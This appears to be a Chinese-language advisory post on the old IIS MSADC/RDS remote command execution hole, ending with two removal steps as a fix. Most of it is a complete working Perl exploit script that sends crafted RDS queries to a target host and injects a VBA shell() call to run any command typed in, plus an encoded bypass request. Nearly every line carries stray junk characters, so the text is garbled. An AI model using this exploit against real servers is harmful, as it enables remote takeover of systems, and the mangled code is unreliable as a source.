IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
^Y<M~K972 &CO|Y(+ 涉及程序:
/&QQ p3 Microsoft NT server
eaxfn]gV FK3Whe{KP{ 描述:
w>vmF cp 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
N6BNzN}-P c.-cpFk^L& 详细:
z.j4tc9F/5 如果你没有时间读详细内容的话,就删除:
wzbz}P> c:\Program Files\Common Files\System\Msadc\msadcs.dll
/Mx.:.A&$ 有关的安全问题就没有了。
1W0.Ufl) &58 { 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
,| <jjq) ^f6
{0 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
e
SK((T 关于利用ODBC远程漏洞的描述,请参看:
b_ZNI0Hp@ A{M+vsL http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm o[n<M>@ qz87iJp& 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
C|9[Al http://www.microsoft.com/security/bulletins/MS99-025faq.asp IQ=CNby: YV4
:8At1 这里不再论述。
)FV6, ~R'BU=!;F 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
f~U#z7 S;>4i!Mb
^ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
'%);%y@v 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
gh'kUZG
a OCwW@OC + -ywX5B #将下面这段保存为txt文件,然后: "perl -x 文件名"
0c`sb+? \ hrBq^I #!perl
HE@-uh #
cl@kRX<7' # MSADC/RDS 'usage' (aka exploit) script
\)p4okpR #
3Hy%SN( # by rain.forest.puppy
D8gQRQ #
A\Lr<{Jh # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
4P`PmQ=GQh # beta test and find errors!
i[o&z$JO ix(U:'{ use Socket; use Getopt::Std;
Th.3j's getopts("e:vd:h:XR", \%args);
o*?[_{xW sWp{Y. print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
c5Z;%v |y 9qnuR'BDu if (!defined $args{h} && !defined $args{R}) {
$,}Qf0(S print qq~
'uws Usage: msadc.pl -h <host> { -d <delay> -X -v }
9cl{hdP{ -h <host> = host you want to scan (ip or domain)
.L~f Fns/ -d <seconds> = delay between calls, default 1 second
6{cybD`Ef& -X = dump Index Server path table, if available
u4go*# -v = verbose
yBr$ 0$ -e = external dictionary file for step 5
5JO[+> <+ -V5O^ Or a -R will resume a command session
58M'r{8_ ;%v%K+}r ~; exit;}
,G916J*XA cjCE3V9X $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
}K#iCby4 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
VC/R)%@% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
ON:LPf>"- if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
l*~"5f03 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9m<wcZ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
j4.Qvj >:4 .t"n]X i if (!defined $args{R}){ $ret = &has_msadc;
Rh wt< die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
@C!JtgO% ( 1QdZD| print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'e+-,CGdY\ . "cmd /c ";
,\.YJD>z $in=<STDIN>; chomp $in;
#R~">g:w $command="cmd /c " . $in ;
zv$=* BZ]&uD|f
if (defined $args{R}) {&load; exit;}
6Y0/i,d* f 3nnXE" print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
e["Z!D_H &try_btcustmr;
@c.11nfn` cP}5}+ print "\nStep 2: Trying to make our own DSN...";
I v 80,hW &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
lW{I`r\] `R4W4h'I print "\nStep 3: Trying known DSNs...";
'=@-aVp &known_dsn;
-jcrXskb&N hr/xpQW print "\nStep 4: Trying known .mdbs...";
mvW^P`nB &known_mdb;
JC Cx 5 YyX^lL_ if (defined $args{e}){
":(Cpf0 print "\nStep 5: Trying dictionary of DSN names...";
$S"zxEJJ Y &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
7;$L&X zD#+[XI]K print "Sorry Charley...maybe next time?\n";
Q!BkS=H30K exit;
,=XS%g}l4 @n~ND). ##############################################################################
r&j+; JM5 b_)QBE9 sub sendraw { # ripped and modded from whisker
h:US]ZC^Z sleep($delay); # it's a DoS on the server! At least on mine...
{kY`X[fvZ my ($pstr)=@_;
b{yH4)O socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
j3V"d 3) die("Socket problems\n");
D%5 {A= if(connect(S,pack "SnA4x8",2,80,$target)){
\a~;8):q=i select(S); $|=1;
BhhK| U/ print $pstr; my @in=<S>;
xr1I8 5kM select(STDOUT); close(S);
U8.0 L return @in;
<iY 9cV|}3 } else { die("Can't connect...\n"); }}
#q^>qX
y G41$oalQ1 ##############################################################################
I{X@<o} KlSY^(kHR sub make_header { # make the HTTP request
Xf' my $msadc=<<EOT
#f jX|b POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
oeU+?-y/b User-Agent: ACTIVEDATA
(HP={MrV Host: $ip
*^&iw$Qx3 Content-Length: $clen
:;gwdZ Connection: Keep-Alive
,"HpV
s*A|9uf5 ADCClientVersion:01.06
D-;43>yi< Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
:Q%yW%St$ rO2PbF3 --!ADM!ROX!YOUR!WORLD!
&opH\wa Content-Type: application/x-varg
f<xt3 Content-Length: $reqlen
*Sp O|*' C ^ k3* N EOT
#xE>]U ; $msadc=~s/\n/\r\n/g;
l>Oe ,`9O return $msadc;}
F^[Rwzv>c J5r
L7 ##############################################################################
9cHNwgD>v >?Y3WPB<F sub make_req { # make the RDS request
~o\]K my ($switch, $p1, $p2)=@_;
}N=zn7W my $req=""; my $t1, $t2, $query, $dsn;
SZ1pf#w! '"NdT7* + if ($switch==1){ # this is the btcustmr.mdb query
s</ktPtu $query="Select * from Customers where City=" . make_shell();
dYttse' $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
6(RqR $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
gj(l&F *@ UHm+5%ZC elsif ($switch==2){ # this is general make table query
LB 5EGw $query="create table AZZ (B int, C varchar(10))";
S}oF7;'Ga $dsn="$p1";}
ZJ'H y5? w+ )GM elsif ($switch==3){ # this is general exploit table query
w[7HY@[ $query="select * from AZZ where C=" . make_shell();
/t2<OU9 $dsn="$p1";}
e2H'uMy;& 5nlyb,"^g elsif ($switch==4){ # attempt to hork file info from index server
BB}iBf I' $query="select path from scope()";
qQ\hUii $dsn="Provider=MSIDXS;";}
c;fyUi K0bmU(Xxp elsif ($switch==5){ # bad query
6O?S r, $query="select";
,}$x'8v $dsn="$p1";}
T%xL=STJNy >@\?\!Go $t1= make_unicode($query);
X|0`$f $t2= make_unicode($dsn);
LGue=Hkp $req = "\x02\x00\x03\x00";
n!,TBCNX $req.= "\x08\x00" . pack ("S1", length($t1));
{ca^yHgGy $req.= "\x00\x00" . $t1 ;
`e:RZ $req.= "\x08\x00" . pack ("S1", length($t2));
T_
#oMXZ/ $req.= "\x00\x00" . $t2 ;
"U~@o4u; $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
<{~UKi return $req;}
Aba%Gh mLdyt-1 ##############################################################################
{}2p1-( X "r$,~ sub make_shell { # this makes the shell() statement
J:!Gf^/) return "'|shell(\"$command\")|'";}
Ny<G2!W !q1^X% a ##############################################################################
mqxy(zS] _A~gqOe sub make_unicode { # quick little function to convert to unicode
HBYpjxh my ($in)=@_; my $out;
FK('E3PG for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
%HS!^j3C% return $out;}
M?CMN.Dw ]@ g$<& ##############################################################################
~&jCz4M q/G5aO* sub rdo_success { # checks for RDO return success (this is kludge)
S :|*wB my (@in) = @_; my $base=content_start(@in);
j ZafwBi if($in[$base]=~/multipart\/mixed/){
{iteC return 1 if( $in[$base+10]=~/^\x09\x00/ );}
K?I&,t_*R return 0;}
I8:&Btf y=`(`|YW}` ##############################################################################
nAj2k Rb*\A7o|; sub make_dsn { # this makes a DSN for us
H!=BjU1Pmg my @drives=("c","d","e","f");
xz'd5 re% print "\nMaking DSN: ";
\mGM#E foreach $drive (@drives) {
DgP%Q print "$drive: ";
N$b;8F my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
p+?WhxG) "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
~(S4/d5 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
s]>%_(5 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
hdb4E|'A return 0 if $2 eq "404"; # not found/doesn't exist
(o\~2e: if($2 eq "200") {
g{(nt5|^l foreach $line (@results) {
,:{+
H return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
'& :"/4@) } return 0;}
';F][x 5j 'h=2_%l@Y ##############################################################################
i|GC 'XD@ lY`<-`{I_ sub verify_exists {
j&5Xjl>4 my ($page)=@_;
*
vD<6qf my @results=sendraw("GET $page HTTP/1.0\n\n");
e:<>
Yq+ return $results[0];}
Tkf !Y? z(qz(`eGC& ##############################################################################
1doqznO PMcyQ2R-> sub try_btcustmr {
(0S7 my @drives=("c","d","e","f");
NBX/V^ my @dirs=("winnt","winnt35","winnt351","win","windows");
dPId=
w) g~b'}^J foreach $dir (@dirs) {
1\uS~RR print "$dir -> "; # fun status so you can see progress
VXS9E383 foreach $drive (@drives) {
u!W00;`L print "$drive: "; # ditto
[G*mQ@G9 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Z)%p,DiNM $reqlenlen=length( "$reqlen" );
T~>:8i $clen= 206 + $reqlenlen + $reqlen;
v},sWjv @$]h[ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
f`e.c_n( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
<*P1Sd. else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
FBsw\P5w ?$Pj[O^hl ##############################################################################
??PpHBJ') _1ins;c52 sub odbc_error {
3yTBkFI! my (@in)=@_; my $base;
/:S.("Unv my $base = content_start(@in);
w:qwU\U>x if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
`p!.K9r7 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
toF@@% $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L9x,G! $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
U*-%V$3+w5 return $in[$base+4].$in[$base+5].$in[$base+6];}
%hXa5}JL print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
}RD,JgmV print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
D,NjDIG8 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
7QQnvoP giI9-C ##############################################################################
2+|[e_ &R 0BuFL8 sub verbose {
$Q?UyEi my ($in)=@_;
*{XbC\j return if !$verbose;
f1Rm9`` print STDOUT "\n$in\n";}
^f4qs #KiRH* giU ##############################################################################
0n5N-b?G-@ {"O'kx sub save {
`2{x8A my ($p1, $p2, $p3, $p4)=@_;
d'PjO-"g open(OUT, ">rds.save") || print "Problem saving parameters...\n";
x#'#
~EO-G print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
y6;A4p> close OUT;}
BsRxD9r {G_ZEo#x8, ##############################################################################
fAYm3+.l3 z0a=A:+/ sub load {
mL ]zkD_ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
vWwp'q open(IN,"<rds.save") || die("Couldn't open rds.save\n");
EZao\,t @p=<IN>; close(IN);
{i3]3V"Xp $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
LC/6'4}_ $target= inet_aton($ip) || die("inet_aton problems");
UZ v^3_,qz print "Resuming to $ip ...";
a3JG&6- $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
8h}o5B if($p[1]==1) {
?~hC.5 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
o|$l+TC $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
E\ 5t&jZr my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Ac|IBXGa= if (rdo_success(@results)){print "Success!\n";}
Js ~_8 else { print "failed\n"; verbose(odbc_error(@results));}}
)mS
Aog< elsif ($p[1]==3){
&+Xj%x.] if(run_query("$p[3]")){
UOi8>;k` print "Success!\n";} else { print "failed\n"; }}
Ak^g#^c* elsif ($p[1]==4){
QVsOB$ if(run_query($drvst . "$p[3]")){
^,qi`Tk print "Success!\n"; } else { print "failed\n"; }}
d@JjqE[ exit;}
Hcq?7_) Z~[ c65Nlu ##############################################################################
V*"-@ B;@7 sub create_table {
FIDV5Y/f my ($in)=@_;
|9Q4VY'"; $reqlen=length( make_req(2,$in,"") ) - 28;
q ^Un,h64t $reqlenlen=length( "$reqlen" );
bk44qL;8 $clen= 206 + $reqlenlen + $reqlen;
8m\*~IX= my @results=sendraw(make_header() . make_req(2,$in,""));
Bq3" l%hI return 1 if rdo_success(@results);
Lk9X>`b#B my $temp= odbc_error(@results); verbose($temp);
f.-b.nNf return 1 if $temp=~/Table 'AZZ' already exists/;
DD{-xCCR return 0;}
4}E|CD/pZ <F{EZ Ii ##############################################################################
50q(8F-N :c)N"EJlI2 sub known_dsn {
4i|yEf # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
>Z r f}H my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
MH7 n@.t "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
[|.IXdJ! "banner", "banners", "ads", "ADCDemo", "ADCTest");
^YiGvZJ p8,Rr{ foreach $dSn (@dsns) {
wrI66R}@ print ".";
k+b!Lw!L next if (!is_access("DSN=$dSn"));
~
"Xcd8: if(create_table("DSN=$dSn")){
/enlkZx=8 print "$dSn successful\n";
+?y ', Ir if(run_query("DSN=$dSn")){
Pfi|RTX$'* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
xU<WUfS1 print "Something's borked. Use verbose next time\n";}}} print "\n";}
p?rh+0wgX AH-B/c5 ##############################################################################
GWd71ZtFO f3PDLQA sub is_access {
fSc)PqLP my ($in)=@_;
R `K1L!`3 $reqlen=length( make_req(5,$in,"") ) - 28;
x9\z^GU%H $reqlenlen=length( "$reqlen" );
Jj%" $clen= 206 + $reqlenlen + $reqlen;
Pa)'xfQ$Y6 my @results=sendraw(make_header() . make_req(5,$in,""));
7]sRHX0o% my $temp= odbc_error(@results);
k0r93xa verbose($temp); return 1 if ($temp=~/Microsoft Access/);
*'&]DJj return 0;}
Z;/QB6|% cvOCBg38BH ##############################################################################
(>]frlEU~ Mbm'cM&} sub run_query {
<cm(QNdcC my ($in)=@_;
~dXiyU,y2 $reqlen=length( make_req(3,$in,"") ) - 28;
2P,%}Ms $reqlenlen=length( "$reqlen" );
Yw(O}U 5e $clen= 206 + $reqlenlen + $reqlen;
/aV;EkyO, my @results=sendraw(make_header() . make_req(3,$in,""));
x&p.-Fi return 1 if rdo_success(@results);
CH9Psr78 my $temp= odbc_error(@results); verbose($temp);
(jmF7XfU return 0;}
je;C}4 iWGn4p' ##############################################################################
^t}1$H XgI;2Be+&a sub known_mdb {
i2P:I A|@ my @drives=("c","d","e","f","g");
3-/F]}0y6 my @dirs=("winnt","winnt35","winnt351","win","windows");
8 /vGA= my $dir, $drive, $mdb;
;~,)6UX7 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
y
g:&cIr, 6%^A6U # this is sparse, because I don't know of many
b^:frjaE3 my @sysmdbs=( "\\catroot\\icatalog.mdb",
0fJz[;dV>n "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
{h*)|J "\\system32\\certmdb.mdb",
Y(RB@+67 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
i&TWIl8 "T@9#7Obu my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
^ 0.` 1$ "\\cfusion\\cfapps\\forums\\forums_.mdb",
~2;\)/E\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
_]v@Dq VP "\\cfusion\\cfapps\\security\\realm_.mdb",
8'PK}heBU "\\cfusion\\cfapps\\security\\data\\realm.mdb",
;w7s>(ITZ "\\cfusion\\database\\cfexamples.mdb",
~KQiNkA\|l "\\cfusion\\database\\cfsnippets.mdb",
p%R+ c "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
dsU'UG7L "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
]f~!Qk!I7r "\\cfusion\\brighttiger\\database\\cleam.mdb",
0qq>(K[ "\\cfusion\\database\\smpolicy.mdb",
s:K'I7_#@ "\\cfusion\\database\cypress.mdb",
MTip4L W9 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
J#gG*( "\\website\\cgi-win\\dbsample.mdb",
bU \T "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
:K~sazs7J "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
,8.$!Zia ); #these are just
E!RlH3}) foreach $drive (@drives) {
sXmP<c foreach $dir (@dirs){
V.%LA.8 foreach $mdb (@sysmdbs) {
nAC>']K4$ print ".";
3a|pk4M if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
ejia4(Cd print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
yl&s!I if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
zR4]buHnE print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
7p-
RPC } else { print "Something's borked. Use verbose next time\n"; }}}}}
,D'm#Fti S,EL=3},= foreach $drive (@drives) {
4jc?9(y% foreach $mdb (@mdbs) {
6L;]5)# print ".";
&2Ef:RZF if(create_table($drv . $drive . $dir . $mdb)){
@?jtB print "\n" . $drive . $dir . $mdb . " successful\n";
2OpkRFFa if(run_query($drv . $drive . $dir . $mdb)){
hQ}_(F_H print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
(xE |T f } else { print "Something's borked. Use verbose next time\n"; }}}}
l<p<\,nV$ }
mE=Ur !"o\H(siT ##############################################################################
^ir)z@P?V x]@z.Yj sub hork_idx {
9Z }<H/q print "\nAttempting to dump Index Server tables...\n";
QJ(5o7Tfn print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
{kBsiSvsA; $reqlen=length( make_req(4,"","") ) - 28;
oaZdvu@y $reqlenlen=length( "$reqlen" );
U{j4FlB $clen= 206 + $reqlenlen + $reqlen;
2;j<{' my @results=sendraw2(make_header() . make_req(4,"",""));
rW090Py if (rdo_success(@results)){
[?hvx} my $max=@results; my $c; my %d;
BY&{fWUo for($c=19; $c<$max; $c++){
icX4n $results[$c]=~s/\x00//g;
;aj;(Z.p) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
a#{"3Z2| $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
0w:
3/WO $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Hq+QsplG $d{"$1$2"}="";}
yXoNfsv foreach $c (keys %d){ print "$c\n"; }
VdGVEDwz } else {print "Index server doesn't seem to be installed.\n"; }}
YU" /p|!1 j "'a5;Sy ##############################################################################
W~2,J4= tjwnFqI sub dsn_dict {
"\O7_od- open(IN, "<$args{e}") || die("Can't open external dictionary\n");
6PYm?i=p? while(<IN>){
nGe4IY\-w $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
h`n '{s next if (!is_access("DSN=$dSn"));
(9oo8&GG if(create_table("DSN=$dSn")){
LT
Pr8^ print "$dSn successful\n";
,(a~vqNQW3 if(run_query("DSN=$dSn")){
+RL@g*` print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bS2g4]$'po print "Something's borked. Use verbose next time\n";}}}
RRPPojKZ print "\n"; close(IN);}
sT"ICooc >zDQt7+g; ##############################################################################
X'<RqvDc5 %qz-b. sub sendraw2 { # ripped and modded from whisker
`kxC#
&HO sleep($delay); # it's a DoS on the server! At least on mine...
xEurkR my ($pstr)=@_;
8b.k*,r> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[uHU[
sG die("Socket problems\n");
2oEuqHL if(connect(S,pack "SnA4x8",2,80,$target)){
zn 0y`9!n? print "Connected. Getting data";
Za1mI^ L1 open(OUT,">raw.out"); my @in;
E"_{S.Wc select(S); $|=1; print $pstr;
?8{Os;!je while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
wW p7N close(OUT); select(STDOUT); close(S); return @in;
\XmplG: } else { die("Can't connect...\n"); }}
c5$DHT@N" >!@D^3PPA ##############################################################################
Y @'do)
q/ Y4/ sub content_start { # this will take in the server headers
'g,_ lF my (@in)=@_; my $c;
~dEo^vJD for ($c=1;$c<500;$c++) {
m jP if($in[$c] =~/^\x0d\x0a/){
w-ald?` if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
e-P{)L<s5 else { return $c+1; }}}
VD7-; return -1;} # it should never get here actually
*X$qgSW 8v2Wi.4T ##############################################################################
gh*k\0 lqv}~MC sub funky {
/klo),|& my (@in)=@_; my $error=odbc_error(@in);
nVWU\$Ft if($error=~/ADO could not find the specified provider/){
KTT!P 4 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
>^`# %$+ exit;}
gizY4~
j if($error=~/A Handler is required/){
qjkWCLOd print "\nServer has custom handler filters (they most likely are patched)\n";
5]]QW3 exit;}
XchD3p+uB if($error=~/specified Handler has denied Access/){
EiC["M'} print "\nServer has custom handler filters (they most likely are patched)\n";
8aVQW_m} exit;}}
:KvZP:T hs;|,r ##############################################################################
.Qn#wub faLfdUimJ sub has_msadc {
\R@}X cqZ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
p+b9D my $base=content_start(@results);
,Aq, f$5V return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^Ff fc@= return 0;}
0K.$C~C Et*LbU ########################
UV;I6]$}A7 $<Gt^3e CpN*1s})d 解决方案:
7YTO{E6]d\ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
l>`S<rGe 2、移除web 目录: /msadc